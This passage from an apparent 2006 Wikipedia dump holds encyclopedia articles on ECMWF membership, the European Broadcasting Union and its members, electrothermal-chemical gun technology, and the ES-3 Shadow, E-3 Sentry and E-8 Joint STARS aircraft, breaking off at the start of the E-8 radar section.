The ECMWF members are of 18 [[Europe]]an states: [[Austria]], [[Belgium]], [[Denmark]], [[Finland]], [[France]], [[Germany]], [[Greece]], [[Republic of Ireland]], [[Italy]], [[Luxembourg]], [[The Netherlands]], [[Norway]], [[Portugal]], [[Spain]], [[Sweden]], [[Switzerland]], [[Turkey]], [[United Kingdom]]

The ECMWF has co-operation agreements with 7 other states: [[Croatia]], [[Czech Republic]], [[Iceland]], [[Hungary]], [[Romania]], [[Slovenia]], [[Serbia and Montenegro]],

==External links==
*[http://www.ecmwf.int Official Website]
*[http://www.ecmwf.int/research/era/ERA-15/index.html ERA-15 reanalysis]
*[http://www.ecmwf.int/research/era/Project/index.html ERA-40 reanalysis]

{{Org-stub}}

[[Category:Meteorological institutions and stations]]
[[Category:1975 establishments]]</text>
    </revision>
  </page>
  <page>
    <title>European Broadcasting Union</title>
    <id>10380</id>
    <revision>
      <id>41074132</id>
      <timestamp>2006-02-24T22:01:54Z</timestamp>
      <contributor>
        <ip>88.109.8.86</ip>
      </contributor>
      <text xml:space="preserve">[[Image:EBU UER European Broadcasting Union logo.gif|150px|right]]
The '''European Broadcasting Union''' ('''EBU'''), known in [[French language|French]] as &lt;nowiki&gt;L'&lt;/nowiki&gt;'''Union Européenne de Radio-Télévision''' ('''UER'''), and unrelated to the [[European Union]], was formed [[February 12]], [[1950]] by 23 broadcasting organizations from [[Europe]] and the [[Mediterranean]] at a conference in the coastal resort of [[Torquay]] in [[Devon]], [[England]]. In [[1993]], the [[International Radio and Television Organisation]] (''OIRT''), an equivalent organisation of broadcasters from Central and Eastern Europe, was merged with the EBU.

[[As of 2004]], the EBU has active full members from 52 countries, and associate members from a further 29. Members are radio and television companies, most of which are government-owned [[Public broadcasting|public service broadcasters]] or privately owned stations with public missions. Full active Members are based in countries from Algeria to the Vatican State, including almost all European countries. Associate members are not limited to those from European countries and the Mediterranean but include broadcasters from [[Canada]], [[Japan]], [[Mexico]], [[Brazil]], [[India]] and [[Hong Kong]], as well as many others. Associate Members from the [[United States]] include [[American Broadcasting Company|ABC]], [[CBS]], [[NBC]], the [[Corporation for Public Broadcasting]], and [[Time Warner]].

The EBU's most well-known production is probably the [[Eurovision Song Contest]] organised by its [[Eurovision Network]]. The ability of any country from which there are full members of the EBU to enter this contest leads both to the ever growing number of entries, and the counter-intuitive inclusion of countries, such as Morocco, which are generally not considered to be part of Europe. The Eurovision Network also organises the [[Eurovision Young Dancers]] competition, which is modelled along similar lines. 
The countries in the EBU have also often worked together to  create documentaries and (animated) children's programming. The first such co-production was the animated series [[The Animals of Farthing Wood]] from the year [[1993]] based on the books of the same title by [[Colin Dann]].

The theme music played before EBU broadcasts, is [[Marc-Antoine Charpentier]]'s Prelude to [[Te Deum]]. It is well known to europeans as played before and after the [[Eurovision Song Contest]].

==EBU Technical activities==
The objective of the [http://www.ebu.ch/en/technical/index.php EBU’s technical activities] is simply to assist EBU Members (see below) in this period of unprecedented technological changes. This includes provision of technical information to Members via conferences and workshops, as well as in written form (such as the [http://www.ebu.ch/en/technical/trev/trev_home.html EBU Technical Review]). 

The EBU also encourages active collaboration between its Members on the basis that they can freely share their knowledge and experience, thus achieving considerably more than individual Members could achieve by themselves. Much of this collaboration is achieved through Project Groups which study specific technical issues of common interest: for example, EBU Members have long been preparing for the revision of the 1961 Stockholm Plan. 

The EBU places great emphasis on the use of open standards. Widespread use of open standards (such as [[MPEG-2]], [[Digital audio broadcasting|DAB]], [[DVB]], etc.) ensures interoperability between products from different vendors, as well as facilitating the exchange of programme material between EBU Members and promoting &quot;horizontal markets&quot; for the benefit of all consumers.

EBU Members and the EBU Technical Department have long played an important role in the development of many systems used in radio and television broadcasting, such as: 
*The [[AES/EBU]] digital audio interface; 
*Serial and parallel interfaces for digital video ([[ITU-R]] Recommendations 601 and 656); 
*[[Radio Data System|RDS]] - the Radio Data System used on FM broadcasting.                      

The EBU has also actively encouraged the development and implementation of:   
*[[Digital Audio Broadcasting]] (DAB) through Eureka Project 147 and the WorldDAB Forum;  
*[[Digital Video Broadcasting]] (DVB) through the DVB Project and DigiTAG;  
*Digital radio in the bands currently used for AM broadcasting through [[Digital Radio Mondiale|DRM]] ([[Digital Radio Mondiale]]);  
*Standardisation of [[Digital video recorder|PVR]] systems through the TV-Anytime Forum.

----
Links to:
*[http://www.ebu.ch/en/technical/index.php EBU Technical homepage] 
*[http://www.ebu.ch/en/technical/trev/trev_home.html EBU Technical Review]

== Full EBU members ==
=== European members ===
*[[Albania]]: [[Radio Televizioni Shqiptar|RTSH]] (Radiotelevizioni Shqiptar). 
*[[Andorra]]: [[RTVA]] (Radio i Television d'Andorra, S.A.).
*[[Armenia]]: [[AMPTV]] (Public Television &amp; Radio Company of Armenia)
*[[Austria]]: [[ORF]] (Österreichischer Rundfunk).
*[[Belarus]]: [[BTRC]] (Belaruskaja Tele-Radio Campanija).
*[[Belgium]]: [[VRT]] (Vlaamse Radio- en Televisieomroep), [[RTBF]] (Radio-Télévision Belge de la Communaute francaise).
*[[Bosnia and Herzegovina]]: [[PBSBiH]] (Public Broadcasting Service of Bosnia and Herzegovina). 
*[[Bulgaria]]: [[Bulgarian National Radio|BNR]] (Bâlgarsko Nationalno Radio), [[Bulgarian National Television|BNT]] (Bâlgarska Nationalna Televizija).
*[[Croatia]]: [[Croatian Radiotelevision|HRT]] (Hrvatska Radiotelevizija). 
*[[Czech Republic]]: [[Český rozhlas|ČRo]] (Český rozhlas), [[Česká televize|ČT]] (Česká televize).  
*[[Denmark]]: [[Danmarks Radio|DR]] (Danmarks Radio), [[DK/TV2]] (TV2/Danmark). 
*[[Estonia]]: [[Eesti Raadio|ER]] (Eesti Raadio), [[EE/ETV]] (Eesti Televisioon)
*[[Finland]]: [[MTV3|FI/MTV]] (MTV Oy), [[Yleisradio|YLE]] (Oy Yleisradio Ab).  
*[[France]]: [[GRF]] (Groupement des radiodiffuseurs francais), [[Europe 1]] (Europe 1).  
*[[Germany]]: [[ARD (TV)|ARD]] (Arbeitsgemeinschaft der öffentlich-rechtlichen Rundfunkanstalten der Bundesrepublik Deutschland), [[ZDF]] (Zweites Deutsches Fernsehen).
*[[Greece]]: [[Elliniki Radiophonio Teleorassi|ERT]] (Elliniki Radiophonia - Tileorassi SA). 
*[[Hungary]]: MR ([[Magyar Rádió]]), [[HU/MTV]] ([[Magyar Televizió]]).  
*[[Iceland]]: [[RUV]] (Ríkisútvarpið).
*[[Republic of Ireland|Ireland]]: RTÉ ([[Radio Telefís Éireann]]).
*[[Italy]]: [[RAI]] (RAI - Radiotelevisione Italiana).
*[[Latvia]]: [[LR]] (Latvijas Radio), [[LT]] (Latvijas Valsts Televizija).
*[[Lithuania]]: [[LRT]] (Lietuvos Radijas ir Televizija).
*[[Luxembourg]]: [[CLT]] (CLT Multi Media), [[ERSL]] (Etablissement de Radiodiffusion Socioculturelle du Grand-Duché de Luxembourg), [[RTL]] (Radio Télé Lëtzebuerg)
*[[Republic of Macedonia|Macedonia]]: [[MKRTV]] (MKRTV).
*[[Malta]]: PBS (Public Broadcasting Services).
*[[Moldova]]: [[TRM]] (Teleradio-Moldova).
*[[Monaco]]: [[GRMC]] (Groupement de Radiodiffusion monégasque).
*[[Netherlands]]: [[Publieke Omroep|NOS]] (Nederlandse Omroep Stichting).
*[[Netherlands]]-[[Flanders]]: [[BVN]] (Vlaanderen-Nederland TV)
*[[Norway]]: [[NRK]] (Norsk Rikskringkasting AS), [[TV 2 (Norway)|NO/TV2]] (TV 2 AS).
*[[Poland]]: [[Polskie Radio]], [[TVP]] (Telewizja Polska).
*[[Portugal]]: [[RDP]] (Radiodifusão Portuguesa SA), [[RTP_(Portugal)|RTP]] (Radiotelevisão Portuguesa Serviço Público de Televisão SA).
*[[Romania]]: [[ROR]] (Societatea Româna de Radiodifuziune), [[RO/TVR]] (Societatea Româna de Televiziune).
*[[Russia]]: [[C1R]] (Channel One Russia), [[RDO]] (Radio Dom Ostankino), [[RTR]] (RossijskoeTeleradio).
*[[San Marino]]: [[SMRTV]] (San Marino RTV).
*[[Serbia and Montenegro]]: [[RTS 1]] (Radio Televizija Srbije), [[TVCG 3]] (Radio Televizija Crne Gore 3 Kanal)
*[[Slovakia]]: [[SK/SR]] (Slovensky Rozhlas), [[SK/STV]] (Slovenská Televizia).
*[[Slovenia]]: [[RTVSLO]] (Radiotelevizija Slovenija).
*[[Spain]]: [[RTVE]] (Radiotelevisión Española), [[SER]] (Sociedad Española de Radiodifusión), [[COPE]] (Radio Popular SA Cope).
*[[Sweden]]: STR (Sveriges Television och Radio Grupp:[[Sveriges Television]] and [[Sveriges Radio]]),[[TV4]] (The TV4 group)
*[[Switzerland]]: [[SRG SSR idée suisse]] (SRG SSR idée suisse - Sociéte Suisse de Radiodiffusion et Télévision).
*[[Ukraine]]: [[NTU/NRU]] (Natsionalna Telekompanija Ukraïny/Natsionalna Radiokompanya Ukraïny).
*[[United Kingdom]]: [[BBC]] (British Broadcasting Corporation), [[UKIB]] (United Kingdom Independent Broadcasting - representing [[ITV]] (Independent Television), [[Channel 4]] and [[S4C]] (Sianel Pedwar Cymru - Channel Four Wales)).
*[[Vatican City]]: RV ([[Radio Vatican]]).

=== Non-European members ===
*[[Algeria]]: [[ENTV]] (Entreprise nationale de Télévision), [[ENRS]] (Entreprise nationale de Radiodiffusion sonore) and [[TDA]] (Télédiffusion d'Algérie).
*[[Cyprus]]: [[Cyprus Broadcasting Corporation|CyBC]] (Cyprus Broadcasting Corporation).  
*[[Egypt]]: [[ERTU]] (Egyptian Radio and Television Union).
*[[Georgia (country)|Georgia]]: [[GTVR]] (Georgian TV &amp; Radio Broadcasting)
*[[Israel]]: [[Israel Broadcasting Authority|IBA]] (Israel Broadcasting Authority).
*[[Jordan]]: [[JRTV]] (Jordan Radio and Television Corporation).
*[[Lebanon]]: [[RL/TL]] (Télé-Liban).
*[[Libya]]: [[LJB]] (Libya Jamahiriya Broadcasting).
*[[Morocco]]: [[MA/RTM]] (Radiodiffusion-Télévision Marocaine).
*[[Tunisia]]: [[ERTT]] (Etablissement de la Radiodiffusion-Télévision Tunisienne).
*[[Turkey]]: [[Turkish Radio and Television Corporation|TRT]] (Türkiye Radyo-Televizyon Kurumu).

Note: Turkey is a [[transcontinental nation]] but is predominantly in [[Asia minor]]. Cyprus and Georgia are considered to be culturally within Europe, and Cyprus is a member of the [[EU]]. The EBU makes no distinction between European and non-European country members - this distinctin here is merely for clarity of listing.

== Future &amp; Potential EBU Members ==
*[[Azerbaijan]]: currently no Azeri television or radio station complies with EBU membership rules, but after October 2005 it will be possible for Azeri broadcasters to become full EBU members
*[[Liechtenstein]]: currently Liechtenstein has no national television or radio station, but when they get one it will be possible for them to join the EBU
*[[Syria]]: [[ORTAS]] (Organisme de la Radio-Télévision Arabe Syrienne) - currently an associate member only
*[[Kosovo]]: [[RTK]] - currently an associate member, if and when Kosovo achieves full independence it will be admitted to the EBU
*[[Serbia]]: [[Radio Televizija Srbije|RTS]] (Radio Televizija Srbije) - currently an active member for Serbia &amp; Montenegro, if and when Serbia becomes an independent country it will be admitted to the EBU
*[[Montenegro]]: [[RTCG]] (Radio Televizija Crna Gora) - currently an active member for Serbia &amp; Montenegro, if and when Montenegro becomes an independent country it will be admitted to the EBU

== External links ==
* [http://www.ebu.ch/ EBU Website]


[[Category:1950 establishments]]
[[Category:Broadcasting]]
[[Category:Publicly-funded broadcasters]]
[[Category:Television networks]]

[[da:Eurovision Broadcasting Union]]
[[de:European Broadcasting Union]]
[[es:Unión Europea de Radiodifusión]]
[[fi:EBU]]
[[fr:Union européenne de radio-télévision]]
[[he:איגוד השידור האירופאי]]
[[it:European Broadcasting Union]]
[[nl:European Broadcasting Union]]
[[pl:Europejska Unia Nadawców]]
[[sv:Europeiska Radio- och TV-unionen]]</text>
    </revision>
  </page>
  <page>
    <title>Electrothermal-Chemical technology</title>
    <id>10381</id>
    <revision>
      <id>15908196</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Electrothermal-chemical technology]]
</text>
    </revision>
  </page>
  <page>
    <title>Electrothermal-chemical technology</title>
    <id>10382</id>
    <revision>
      <id>15908197</id>
      <timestamp>2005-05-03T08:02:58Z</timestamp>
      <contributor>
        <username>Art Carlson</username>
        <id>42188</id>
      </contributor>
      <minor />
      <comment>disambig plasma</comment>
      <text xml:space="preserve">'''Electrothermal-Chemical (ETC)''' technology is an advanced [[gun]] propulsion candidate that can substantially increase gun performance with less system burden than any other advanced gun propulsion technology. It has been under development since the mid [[1980s]].

ETC uses electrical energy to augment and control the release of chemical energy from existing or new [[propellant]]s, and can significantly improve the performance of existing conventional [[cannon]]s, both direct fire (''e.g.'', [[tank]]s) and [[indirect-fire|indirect fire]] (''e.g.'', [[howitzer|howitzers]] and Navy guns). The electrical energy is used to create a high-temperature [[Plasma physics|plasma]], which in turn both ignites the propellants and controls the release of the chemical energy stored in the propellants during the ballistic cycle.

See also [[railgun]].</text>
    </revision>
  </page>
  <page>
    <title>ES-3 Shadow</title>
    <id>10383</id>
    <revision>
      <id>36497623</id>
      <timestamp>2006-01-24T13:32:40Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>reduce linking to solitary date elements</comment>
      <text xml:space="preserve">{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin:3px; border:3px solid #87CEEB;width:30%;&quot; align=&quot;right&quot;
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom:3px solid&quot;|ES-3 Shadow
|-
|colspan=&quot;3&quot; align=&quot;center&quot;|[[image:ES-3A Shadow.jpg|300px]]&lt;br&gt;''ES-3A Shadow''
|-
|}
The '''ES-3 Shadow''' is a [[United States Navy]] jet aircraft used to collect and disseminate tactical reconnaissance information. The aircraft resembles the [[S-3 Viking]], from which it is derived, with the addition of numerous antennas and antenna housings.

The ES-3 Shadow replaced the [[EA-3 Skywarrior]] and entered fleet service in 1993. The ES-3 was a carrier-based, subsonic, all-weather, long-range, electronic reconnaissance aircraft. It operated primarily with [[carrier battle group]]s providing Indications and Warning (I&amp;W) support to the battle group and joint theater commanders. It carried an extensive suite of electronic sensors and communications gear. Unfortunately, these modifications greatly restricted speed and range, making it a sorry replacement for the venerable EA-3B. 

All 16 ES-3 aircraft were modified S-3 Viking airframes. Political pressure by [[Lockheed]] upon the [[Georgia (U.S. state)|Georgian]] congressional delegation forced the US Navy to select a modified S-3 over a modified [[Fokker F-27]] (which would have come close to the EA-3B speed with an increase in range). 

The S-3's submarine detection and other maritime surveillance equipment was removed and the weapons bay fitted with avionics racks to accommodate the ES-3's sensors. The first ES-3A was delivered in 1991. U.S. carriers typically deployed with two Shadow aircraft embarked. Dismal performance of the equipment led to the removal of all ES-3 aircraft from active service. They were placed in storage by September, 1999.

== General characteristics ==
* Primary function: Electronic reconnaissance
* Contractor: Lockheed-California Company
* Unit cost: US$27 million (original airframe) + US$65 million (conversion) = US$92 million
* Propulsion: Two [[General Electric TF34|General Electric TF34-GE-400B]] turbofan engines  9,275 lbf (41 kN) each)
* Length: 16 m (53 ft 4 in)
* Wingspan: 20.6 m (68 ft 8 in)
* Height: 6.9 m (22 ft 9 in)
* Weight: Max design gross take-off: 52,539 pounds (23,643 kg)
* Speed: 450 knots (830 km/h)
* Ceiling: 40,000 ft (12,200 m)
* Range: 2,300 nautical miles (4260 km)
* Armament: None 
* Crew: Four
* Date Deployed: September 1993

{{airlistbox}}

[[Category:Carrier-based aircraft]]
[[Category:U.S. electronic warfare aircraft 1990-1999]]</text>
    </revision>
  </page>
  <page>
    <title>E-3 Sentry</title>
    <id>10384</id>
    <revision>
      <id>41612182</id>
      <timestamp>2006-02-28T14:36:23Z</timestamp>
      <contributor>
        <username>N328KF</username>
        <id>77722</id>
      </contributor>
      <comment>How nice for you, revert</comment>
      <text xml:space="preserve">{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin:3px; border:3px solid #87CEEB;width:30%;&quot; align=&quot;right&quot;
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom:3px solid&quot;|E-3 Sentry
|-
|colspan=&quot;3&quot; align=&quot;center&quot;|[[image:usaf.e3sentry.750pix.jpg|300px]]&lt;br&gt;''The United States Air Force's E-3 Sentry''
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Description
|-
|Role||colspan=&quot;2&quot;|Airborne Warning and Control System ([[AWACS]])
|-
|Crew||colspan=&quot;2&quot;|Flight crew of 4, plus 13-19 mission specialists
|-
|First Flight||colspan=&quot;2&quot;|October 1975
|-
|Entered Service||colspan=&quot;2&quot;|March 1977
|-
|Manufacturer||colspan=&quot;2&quot;|
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Dimensions
|-
|Length||152 ft 11 in||46.61 m
|-
|Wingspan||145 ft 9 in||44.42 m
|-
|Height||41 ft 4 in||12.6 m
|-
|Wing Area||3,050 ft&amp;sup2;||283.4 m&amp;sup2;
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Weights
|-
|Empty||162,000 lb||73,480 kg
|-
|Loaded||325,000 lb||147,400 kg
|-
|Maximum Takeoff||347,000 lb||156,000 kg
|-
|Capacity||colspan=&quot;2&quot;|
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Powerplant
|-
|Engines||colspan=&quot;2&quot;|US/NATO: Four [[Pratt and Whitney]] TF33-PW-100A turbofan engines&lt;br&gt;
UK/FRANCE/SAUDI: Four [[CFM International CFM56|CFM-56-2A-2/3]] turbofan engines
|-
|Thrust (P&amp;W)||4 x 21,000 lbf||4 x 93 kN
|-
|Thrust (CFM)||4 x 24,000 lbf||4 x 107 kN
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Performance
|-
|Maximum Speed||530 mph||855 km/h
|-
|Combat Range||1,000 miles||1,610 km
|-
|Ferry Range|| miles|| km
|-
|Service Ceiling||29,000 ft||9,000 m
|-
|Rate of Climb|| ft/min|| m/min
|-
|Wing Loading|| lb/ft&amp;sup2;|| kg/m&amp;sup2;
|-
|Thrust/Weight||colspan=&quot;2&quot;|
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Avionics
|-
|Avionics||colspan=&quot;2&quot;|
|-
|}

The '''E-3 Sentry''' is a military [[airborne warning and control system]] (AWACS) aircraft that provides all-weather surveillance, command, control and communications, to the [[United States]], [[NATO]] and other air defense forces. 

==Background==
The E-3 Sentry is a modified [[Boeing 707|Boeing 707-320]] commercial airframe with a rotating radar dome. The dome is 30 feet (9.1 m) in diameter, six feet (1.8 m) thick, and is held 14 feet (4.2 m) above the fuselage by two struts. It contains a radar subsystem that permits surveillance from the Earth's surface up into the stratosphere, over land or water. Two generators on each of the four engines provide the 1 megawatt of power required by the radar. The radar has a range of more than 250 miles (375 km) for low-flying targets and ''beyond the horizon'' (approximately 400 miles, although the actual range is classified) for aerospace vehicles flying at medium to high altitudes. The radar combined with an [[identification friend or foe|IFF]] subsystem can look down to detect, identify and track enemy and friendly low-flying aircraft by eliminating ground clutter returns that confuse other radar systems.

The [[United States Air Force|USAF]] E-3 fleet completed its largest upgrade in 2001. Known as the Block 30/35 Modification Program, the upgrade includes four enhancements: 
*Electronic Support Measures (ESM) for passive detection, an electronic surveillance capability to detect and identify air and surface-based emitters.
*Joint Tactical Information Distribution System (JTIDS) to provide secure, anti-jam communication for information distribution, position location and identification capabilities.
*An increase in the memory capability in the computer to accommodate JTIDS (Link-16), ESM and future enhancements.
*Global Positioning System (GPS), a satellite-based positioning capability to provide precise global navigation.

Other major subsystems in the E-3 are navigation, communications and computers (data processing). Consoles display computer-processed data in graphic and tabular format on video screens. Console operators perform surveillance, identification, weapons control, battle management and communications functions.

The radar and computer subsystems on the E-3 Sentry can gather and present broad and detailed battlefield information. Data are collected as events occur. This includes position and tracking information on enemy aircraft and ships, and location and status of friendly aircraft and naval vessels. The information can be sent to major command and control centers in rear areas or aboard ships. In times of crisis, these data can be forwarded to the [[National Command Authority]] in the [[United States]].

In support of air-to-ground operations, the Sentry can provide direct information needed for interdiction, reconnaissance, airlift and close-air support for friendly ground forces. It can also provide information for commanders of air operations to gain and maintain control of the air battle.

As an air defense system, E-3s can detect, identify and track airborne enemy forces far from the boundaries of the [[United States]] or [[NATO]] countries. It can direct fighter-interceptor aircraft to these enemy targets.

Experience has proven that the E-3 Sentry can respond quickly and effectively to a crisis and support worldwide military deployment operations. It is a jam-resistant system that has performed missions while experiencing heavy electronic countermeasures (ECM).

With its mobility as an airborne warning and control system (AWACS), the Sentry has a greater chance of surviving in warfare than a fixed, ground-based radar system. Among other things, the flight path can quickly be changed according to mission and survival requirements. The E-3 can fly a mission profile for more than 8 hours without refueling. Its range and on-station time can be increased through [[inflight refueling]] and the use of an on-board crew rest area.

The aircraft are used as a surveillance asset in support of counter drug missions. [[U.S. Customs Service]] officers may fly aboard the E-3 Sentry on precoordinated missions to detect smuggling activities.

Engineering, test and evaluation began on the first E-3 Sentry in October 1975. In March 1977 the 552nd Airborne Warning and Control Wing (now 552nd Air Control Wing, Tinker Air Force Base, Oklahoma), received the first E-3s.

Air Combat Command has 28 E-3s at Tinker. Pacific Air Forces has two E-3 Sentries assigned to the 961st Airborne Air Control Squadron (AACS), Kadena AB, Okinawa and two assigned to the 962nd AACS, Elmendorf AFB, Alaska.

[[Image:Nato awacs.jpg|thumb|left|250px|NATO E-3 with three [[F-16 Fighting Falcon|F-16s]]]]Other NATO member nations have acquired 18 E-3A's and support equipment. The first NATO E-3 was delivered in January 1982. Presently 17 NATO E-3A's are in the inventory, one being lost to a crash at take-off (no fatalities). The [[United Kingdom]] has seven E-3s, which it designates the AEW Mk.1, [[France]] has four and [[Saudi Arabia]] has five. [[Japan]] has four Boeing 767-based AWACS aircraft. The UK [[Royal Air Force|RAF]] order followed expensive unsuccessful trials of a domestic product, the [[Hawker-Siddeley Nimrod|Nimrod]] AEW3.

E-3 Sentry aircraft were among the first to deploy during Operation [[Desert Shield]] where they immediately established an around-the-clock radar screen to defend against Iraqi forces. During [[Desert Storm]], E-3s flew more than 400 missions and logged more than 5,000 hours of on-station time. They provided radar surveillance and control to more than 120,000 coalition sorties. In addition to providing senior leadership with time-critical information on the actions of enemy forces, E-3 controllers assisted in 38 of the 40 air-to-air kills recorded during the conflict.

The data collection capability of the E-3 radar and computer subsystems allowed an entire air war to be recorded for the first time in the history of aerial warfare.

In March 1996, the US Air Force activated the 513th Air Control Group, an AWACS Reserve Associate Program unit, which performs duties on active-duty aircraft.

During the spring of 1999, the first AWACS aircraft went through the Radar System Improvement Program (RSIP). RSIP is a joint [[United States|U.S.]]/[[NATO]] development program that involves a major hardware and software-intensive modification to the existing radar system. Installation of RSIP will enhance the operational capability of the E-3 radar electronic counter-measures, and dramatically improve the system's reliability, maintainability and availability.  U.S. installation of RSIP was completed in fiscal year 2004.

The E-3 is slated to be replaced (along with the [[EC-135]] and the [[E-8 Joint STARS]]) by the [[E-10 MC2A]], based upon the [[Boeing 767|Boeing 767-400ER]] airframe.

==Units using the Sentry==

===United States Air Force===
The [[United States Air Force]] purchased 24 E-3Bs and 10 E-3Cs. One E-3B crashed after ingesting several [[Canada geese]] into two engines at [[Elmendorf AFB]], [[Alaska]]. One is on loan to [[Boeing Integrated Defense Systems]].
* [[552d Air Control Wing]] has 28 E-3s stationed at [[Tinker AFB]], [[Oklahoma]]
* [[3d Wing]] has 2 at [[Elmendorf AFB]], [[Alaska]]
* [[18th Wing]] has 2 at [[Kadena AB]], [[Japan]].

===Royal Air Force===
Purchased 7, named [[Snow White and the Seven Dwarfs (1937 film)|Happy, Sleepy, Sneezy, Grumpy, Dopey, Bashful and Doc]].

* [[No. VIII Squadron RAF|No. 8 Squadron]]
* [[No. 23 Squadron RAF|No. 23 Squadron]]

===Armée de l'Air===
Purchased 4 E-3F

===Royal Saudi Air Force===
Purchased 5 E-3D
Purchased 5 KE-3D

===North Atlantic Treaty Organisation (NATO)===
Purchased 18, one lost in [[Greece]]

* Squadron 1
* Squadron 2
* Squadron 3

==Units Using the Boeing E-767==

The [[Boeing 707]] platform is no longer in production, so the E-767 contains the E-3 Sentry mission package on a newer [[Boeing 767]] platform.

===[[Japan Self-Defense Forces]]===

* Japan Air Self-Defense Force

==Related content==
'''Related development:''' 

'''Comparable aircraft:'''

'''Designation sequence:'''
[[E-1 Tracer]] -
[[E-2 Hawkeye]] -
'''E-3 Sentry''' -
[[Boeing E-4|E-4]] - 
[[Windecker E-5|E-5]] -
[[E-6 Mercury]]

{| cellpadding=&quot;1&quot; cellspacing=&quot;0&quot; style=&quot;margin:4px auto; clear:both;  font-family:Arial,Helvetica; font-size:72%&quot;; align=&quot;center&quot;; bgcolor=&quot;#efefef&quot;
|- align=&quot;center&quot;
| bgcolor=&quot;ffffff&quot; |  ||bgcolor=&quot;#CFCFCF&quot;|  '''Modern USAF Series'''|| ''Miscellaneous ''
|- 
|bgcolor=&quot;#ffffff&quot;| || ''Attack''--[[OA-10 Thunderbolt II|OA]]/[[A-10 Thunderbolt II|A-10]],[[AC-130 gunship|AC-130H/U]]||[[RC-135 Rivet Joint|RC-135V/W]]
|-
|bgcolor=&quot;#ffffff&quot; | || ''Bomber--''[[B-52 Stratofortress|B-52]],[[B-2 Spirit|-2]],[[B-1B Lancer|-1B]],[[F-117A Nighthawk|F-117A]]||[[OC-135 Open Skies|OC-135B]]
|-
|bgcolor=&quot;#DCDCDC&quot; | [[E-3 Sentry]] ||''Fighter--''[[F-15 Eagle|F-15]]/[[F-15E Strike Eagle|E ]],[[F-16 Fighting Falcon|F-16]]||[[KC-10 Extender|KC-10]],[[KC-135 Stratotanker|-135]]
|-
|bgcolor=&quot;DCDCDC&quot;|[[E-4B]] || bgcolor=&quot;#DCDCDC&quot; |  ''Electronic--''[[E-3 Sentry|E-3]],[[E-4B|E-4B]],[[E-8 Joint STARS|E-8C]] [[EC-130E|EC-130E]]/[[EC-130J|J]],[[EC-130H Compass Call|H]]||[[HC-130P]]/[[HC-130N|N]]
|-
|bgcolor=&quot;DCDCDC&quot;| [[E-8 Joint STARS|E-8C Joint Stars]] || ''Transport--''[[C-5 Galaxy|C-5]],[[C-17 Globemaster III|-17]],[[C-141B Starlifter|-141B]], [[C-20 Gulfstream III|-20]],[[C-21 Learjet|-21]]||[[MC-130E]]/[[MC-130H|H]]/[[MC-130P Combat Shadow|P]]
|-
|bgcolor=&quot;DCDCDC&quot;| [[EC-130E]]/[[EC-130J]]|| [[Boeing C-22|C-22B]], [[Boeing C-32|-32]], [[C-130 Hercules|-130]], [[C-37 Gulfstream V|-37A]], [[C-40 Clipper|-40B/C]]||[[MH-53J Pave Low|MH-53J]]/[[MH-53M Pave Low|M]] 
|-
|bgcolor=&quot;DCDCDC&quot;|[[EC-130H Compass Call]] || ''Trainers--''[[T-1 Jayhawk|T-1]], [[T-37 Tweet|-37]], [[T-38 Talon|-38]], [[Boeing T-43|-43]], [[T-6 Texan II|-6]]||[[HH-60G Pave Hawk|HH-60G]]
|-
|bgcolor=&quot;ffffff&quot;| || ''Weather--''[[WC-130 Hercules|WC-130]], [[WC-135|-135]]||[[UH-1 Iroquois|UH-1N]]
|-
|bgcolor=&quot;ffffff&quot;| || ''UAV--''[[RQ-1 Predator|RQ-1/MQ-1 UAV]], [[Global Hawk]]||[[Lockheed U-2|U-2S/TU-2S]]
|-
|bgcolor=&quot;ffffff&quot;| ||  ||[[VC-25 - Air Force One|VC-25]]
|-
|}

{{airlistbox}}
[[Category:U.S. AWACS aircraft 1970-1979]]
[[de:Boeing E-3]]
[[ja:E-3 (航空機)]]
[[pl:E-3 Sentry]]</text>
    </revision>
  </page>
  <page>
    <title>E-8 Joint STARS</title>
    <id>10385</id>
    <revision>
      <id>38506769</id>
      <timestamp>2006-02-06T20:35:09Z</timestamp>
      <contributor>
        <username>K5okc</username>
        <id>829109</id>
      </contributor>
      <minor />
      <comment>/* Related content */</comment>
      <text xml:space="preserve">[[image:usaf.e8.750pix.jpg|300px|thumb|right|United States Air Force E-8C Joint STARS]]

The '''E-8C Joint Surveillance Target Attack Radar System (Joint STARS)''' is a [[United States Air Force]] airborne battle management and command and control (C2) platform that conducts ground surveillance to develop an understanding of the enemy situation and to support attack operations and targeting that contributes to the delay, disruption and destruction of enemy forces. These functions support the primary mission of Joint STARS -- to provide dedicated support of ground and air theatre commanders.

The E-8C is a modified [[Boeing 707]]-300 series commercial airframe extensively remanufactured and modified with the radar, communications, operations and control subsystems required to perform its operational mission. The most prominent external feature is the 12 m (40 ft) long, canoe-shaped radome under the forward fuselage that houses the 7.3 m (24 ft) long, side-looking APY-7 phased array antenna. 

The E-8C can respond quickly and effectively to support worldwide military contingency operations. It is a jam-resistant system capable of operating while experiencing heavy [[electronic countermeasures]]. The E-8C can fly a mission profile for 9 hours without refueling. Its range and on-station time can be substantially increased through [[in-flight refueling]]. 

== Radar &amp; systems ==
